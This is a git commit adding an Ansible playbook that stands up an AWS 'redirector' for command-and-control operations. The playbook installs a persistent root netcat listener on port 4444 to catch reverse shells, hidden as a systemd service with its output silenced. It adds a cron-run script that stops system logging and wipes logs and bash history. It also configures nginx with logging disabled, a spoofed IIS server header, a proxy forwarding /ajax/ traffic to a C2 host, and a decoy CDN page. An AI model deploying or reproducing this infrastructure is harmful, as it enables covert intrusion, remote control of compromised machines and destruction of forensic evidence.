init
This commit is contained in:
n0mad1k
@@ -0,0 +1,476 @@
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---
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- name: Deploy AWS redirector server
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hosts: localhost
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gather_facts: false
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connection: local
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vars:
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region: "{{ aws_region | default('us-east-1') }}"
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instance_type: "{{ size | default('t2.medium') }}"
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instance_name: "{{ redirector_name | default('redirector') }}"
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domain: "{{ domain | default('example.com') }}"
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redirector_subdomain: "cdn"
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tasks:
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- name: Set a random AWS region if not specified
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set_fact:
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selected_aws_region: "{{ aws_region_choices | random }}"
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when: aws_region is not defined
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- name: Create an EC2 key pair
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amazon.aws.ec2_key:
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name: "{{ instance_name }}"
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region: "{{ region }}"
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state: present
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register: key_pair
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- name: Save private key locally
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copy:
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content: "{{ key_pair.key.private_key }}"
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dest: "~/.ssh/{{ instance_name }}.pem"
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mode: "0600"
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when: key_pair.changed
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- name: Create security group for redirector
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amazon.aws.ec2_group:
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name: "{{ instance_name }}-sg"
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description: "Security group for redirector"
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region: "{{ region }}"
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rules:
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- proto: tcp
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ports:
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- 22
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- 80
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- 443
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- 4444 # Shell handler port
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cidr_ip: 0.0.0.0/0
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rules_egress:
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- proto: -1
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cidr_ip: 0.0.0.0/0
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register: redirector_sg
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- name: Launch redirector EC2 instance
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amazon.aws.ec2_instance:
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name: "{{ instance_name }}"
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region: "{{ region }}"
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image_id: "{{ ami_map[region] }}"
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instance_type: "{{ instance_type }}"
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key_name: "{{ instance_name }}"
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security_group: "{{ redirector_sg.group_id }}"
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network:
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assign_public_ip: true
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tags:
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Name: "{{ instance_name }}"
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Role: "redirector"
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wait: yes
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register: redirector_instance
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- name: Save redirector IP
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set_fact:
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redirector_ip: "{{ redirector_instance.instances[0].public_ip_address }}"
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- name: Wait for SSH to become available
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wait_for:
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host: "{{ redirector_ip }}"
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port: 22
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delay: 10
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timeout: 300
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state: started
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- name: Add redirector to inventory
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add_host:
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name: redirector
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ansible_host: "{{ redirector_ip }}"
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ansible_user: "{{ ssh_user | default('kali') }}"
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ansible_ssh_private_key_file: "~/.ssh/{{ instance_name }}.pem"
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groups: redirectors
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- name: Configure redirector
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hosts: redirectors
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become: true
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vars:
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domain: "{{ domain | default('example.com') }}"
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redirector_subdomain: "cdn"
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letsencrypt_email: "{{ letsencrypt_email | default('admin@example.com') }}"
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zero_logs: "{{ zero_logs | default(true) }}"
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shell_handler_port: 4444
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c2_ip: "{{ hostvars['localhost']['c2_ip'] | default('127.0.0.1') }}"
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tasks:
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- name: Update apt cache
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apt:
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update_cache: yes
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- name: Install required packages
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apt:
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name:
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- nginx
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- certbot
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- python3-certbot-nginx
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- socat
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- netcat-openbsd
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- cryptsetup
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- secure-delete
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state: present
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- name: Create directories for OPSEC scripts
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file:
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path: "{{ item }}"
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state: directory
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mode: '0700'
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owner: root
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group: root
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with_items:
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- /opt/c2
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- /opt/shell-handler
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- name: Create clean-logs.sh script
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copy:
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content: |
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#!/bin/bash
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# Zero-logs maintenance script
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umask 077
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# Disable syslog temporarily
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systemctl stop rsyslog 2>/dev/null
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systemctl stop systemd-journald 2>/dev/null
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# Clear system logs
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find /var/log -type f -name "*.log" -exec truncate -s 0 {} \;
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find /var/log -type f -name "auth.log*" -exec truncate -s 0 {} \;
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find /var/log -type f -name "syslog*" -exec truncate -s 0 {} \;
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journalctl --vacuum-time=1s 2>/dev/null
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# Clear bash history
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for histfile in /root/.bash_history /home/*/.bash_history; do
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[ -f "$histfile" ] && cat /dev/null > "$histfile" 2>/dev/null
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done
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history -c
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# Clear NGINX logs
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for nginx_log in /var/log/nginx/*; do
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[ -f "$nginx_log" ] && cat /dev/null > "$nginx_log" 2>/dev/null
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done
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# Clear temporary directories
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rm -rf /tmp/* /var/tmp/* 2>/dev/null
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# Restart logging services
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systemctl start systemd-journald 2>/dev/null
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systemctl start rsyslog 2>/dev/null
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echo "[+] Log cleaning complete"
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exit 0
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dest: /opt/c2/clean-logs.sh
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mode: '0700'
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owner: root
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group: root
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- name: Create shell handler script
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copy:
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content: |
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#!/bin/bash
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# Automated shell handler for catching and upgrading reverse shells
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# Configuration
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LISTEN_PORT={{ shell_handler_port }}
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C2_HOST="{{ c2_ip }}"
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# Set secure permissions
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umask 077
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# Logging function
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log() {
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local timestamp=$(date +"%Y-%m-%d %H:%M:%S")
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local message="$1"
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echo "$timestamp - $message" | openssl enc -e -aes-256-cbc -pbkdf2 -pass pass:$RANDOM$RANDOM$RANDOM >> /opt/shell-handler/activity.log.enc
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}
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# Detect OS function
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detect_os() {
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local connection=$1
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# Send commands to determine OS
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echo "echo \$OSTYPE" > $connection
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sleep 1
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ostype=$(cat $connection | grep -i "linux\|darwin\|win")
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if [[ $ostype == *"win"* ]]; then
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echo "windows"
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elif [[ $ostype == *"darwin"* ]]; then
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echo "macos"
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elif [[ $ostype == *"linux"* ]]; then
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echo "linux"
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else
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# Try Windows-specific command
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echo "ver" > $connection
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sleep 1
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winver=$(cat $connection | grep -i "microsoft windows")
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if [[ -n "$winver" ]]; then
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echo "windows"
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else
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# Default to Linux if we can't determine
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echo "linux"
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fi
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fi
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}
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# Main shell handler loop
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handle_connections() {
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log "Shell handler started on port $LISTEN_PORT"
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# Use mkfifo for bidirectional communication
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PIPE_PATH="/tmp/shell_handler_pipe"
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trap 'rm -f $PIPE_PATH' EXIT
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while true; do
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# Clean up existing pipe
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rm -f $PIPE_PATH
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mkfifo $PIPE_PATH
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log "Waiting for incoming connection..."
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nc -lvnp $LISTEN_PORT < $PIPE_PATH | tee $PIPE_PATH.output &
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NC_PID=$!
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# Wait for connection
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wait $NC_PID
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log "Connection closed, restarting listener..."
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rm -f $PIPE_PATH.output
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done
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}
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# Start the shell handler
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handle_connections
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dest: /opt/shell-handler/persistent-listener.sh
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mode: '0700'
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owner: root
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group: root
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- name: Create shell handler service
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copy:
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content: |
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[Unit]
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Description=Reverse Shell Handler Service
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After=network.target
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[Service]
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Type=simple
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User=root
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Group=root
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ExecStart=/opt/shell-handler/persistent-listener.sh
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Restart=always
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RestartSec=10
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# Hide process information
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PrivateTmp=true
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ProtectSystem=full
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NoNewPrivileges=true
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# Make shell handler hard to find
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StandardOutput=null
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StandardError=null
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# Environment variables
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Environment="C2_HOST={{ c2_ip }}"
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Environment="LISTEN_PORT={{ shell_handler_port }}"
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[Install]
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WantedBy=multi-user.target
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dest: /etc/systemd/system/shell-handler.service
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mode: '0644'
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owner: root
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group: root
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- name: Configure NGINX for zero-logging
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copy:
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content: |
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user www-data;
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worker_processes auto;
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pid /run/nginx.pid;
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include /etc/nginx/modules-enabled/*.conf;
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events {
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worker_connections 1024;
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multi_accept on;
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}
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http {
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# Basic Settings
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sendfile on;
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tcp_nopush on;
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tcp_nodelay on;
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keepalive_timeout 65;
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types_hash_max_size 2048;
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server_tokens off;
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# MIME
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include /etc/nginx/mime.types;
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default_type application/octet-stream;
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# Zero-logs configuration
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access_log off;
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error_log /dev/null crit;
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# SSL Settings
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ssl_protocols TLSv1.2 TLSv1.3;
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ssl_prefer_server_ciphers on;
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ssl_ciphers 'ECDHE-ECDSA-AES256-GCM-SHA384:ECDHE-RSA-AES256-GCM-SHA384:ECDHE-ECDSA-CHACHA20-POLY1305:ECDHE-RSA-CHACHA20-POLY1305';
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# Headers to confuse fingerprinting
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more_set_headers 'Server: Microsoft-IIS/8.5';
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# Virtual Host Configs
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include /etc/nginx/conf.d/*.conf;
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include /etc/nginx/sites-enabled/*;
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}
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dest: /etc/nginx/nginx.conf
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mode: '0644'
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owner: root
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group: root
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when: zero_logs|bool
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- name: Configure NGINX default site for C2 redirection
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copy:
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content: |
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server {
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listen 80;
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listen [::]:80;
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server_name {{ redirector_subdomain }}.{{ domain }};
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# Redirect to HTTPS
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return 301 https://$host$request_uri;
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}
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server {
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listen 443 ssl;
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listen [::]:443 ssl;
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server_name {{ redirector_subdomain }}.{{ domain }};
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# SSL Configuration (self-signed until Let's Encrypt is set up)
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ssl_certificate /etc/ssl/certs/ssl-cert-snakeoil.pem;
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ssl_certificate_key /etc/ssl/private/ssl-cert-snakeoil.key;
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# Root directory
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root /var/www/html;
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index index.html;
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# Special URI patterns for C2 traffic
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location /ajax/ {
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proxy_pass http://{{ c2_ip }}:8888;
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proxy_http_version 1.1;
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proxy_set_header Host $host;
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proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
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proxy_set_header X-Real-IP $remote_addr;
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proxy_set_header Upgrade $http_upgrade;
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proxy_set_header Connection "upgrade";
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}
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# Default location
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location / {
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try_files $uri $uri/ =404;
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}
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# Disable logging for this server block
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access_log off;
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error_log /dev/null crit;
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}
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# Catch-all server block
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server {
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listen 80 default_server;
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listen [::]:80 default_server;
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# Redirect all unknown traffic to a legitimate-looking site
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return 301 https://www.google.com;
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# Disable logs
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access_log off;
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error_log /dev/null crit;
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}
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dest: /etc/nginx/sites-available/default
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mode: '0644'
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owner: root
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group: root
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- name: Create legitimate-looking index.html
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copy:
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content: |
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<!DOCTYPE html>
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<html lang="en">
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<head>
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<meta charset="UTF-8">
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<meta name="viewport" content="width=device-width, initial-scale=1.0">
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<title>{{ redirector_subdomain }} - Content Delivery Network</title>
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<style>
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body {
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font-family: Arial, sans-serif;
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margin: 0;
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padding: 0;
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background-color: #f4f4f4;
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}
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header {
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background-color: #2c3e50;
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color: white;
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padding: 1em;
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text-align: center;
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}
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.container {
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width: 80%;
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margin: 0 auto;
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padding: 2em;
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}
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.card {
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background-color: white;
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border-radius: 5px;
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padding: 1.5em;
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margin-bottom: 1.5em;
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box-shadow: 0 2px 5px rgba(0,0,0,0.1);
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}
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</style>
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</head>
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<body>
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<header>
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<h1>{{ redirector_subdomain }}.{{ domain }}</h1>
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<p>Enterprise Content Delivery Network</p>
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</header>
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<div class="container">
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<div class="card">
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<h2>Welcome to Our CDN</h2>
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<p>This server is part of our global content delivery network, optimizing digital asset delivery for enterprise applications.</p>
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<p><em>This is a private service. Unauthorized access is prohibited.</em></p>
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</div>
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</div>
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</body>
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</html>
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dest: /var/www/html/index.html
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mode: '0644'
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owner: www-data
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group: www-data
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- name: Start and enable shell handler service
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systemd:
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name: shell-handler
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state: started
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enabled: yes
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daemon_reload: yes
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- name: Set up cron job for log cleaning
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cron:
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name: "Clean logs"
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minute: "0"
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hour: "*/6"
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job: "/opt/c2/clean-logs.sh > /dev/null 2>&1"
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when: zero_logs|bool
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- name: Install Let's Encrypt certificate if domain specified
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shell: |
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certbot --nginx -d {{ redirector_subdomain }}.{{ domain }} --non-interactive --agree-tos -m {{ letsencrypt_email }}
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args:
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creates: /etc/letsencrypt/live/{{ redirector_subdomain }}.{{ domain }}/fullchain.pem
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when: domain != "example.com"
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- name: Restart NGINX
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systemd:
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name: nginx
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state: restarted
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Reference in New Issue
Block a user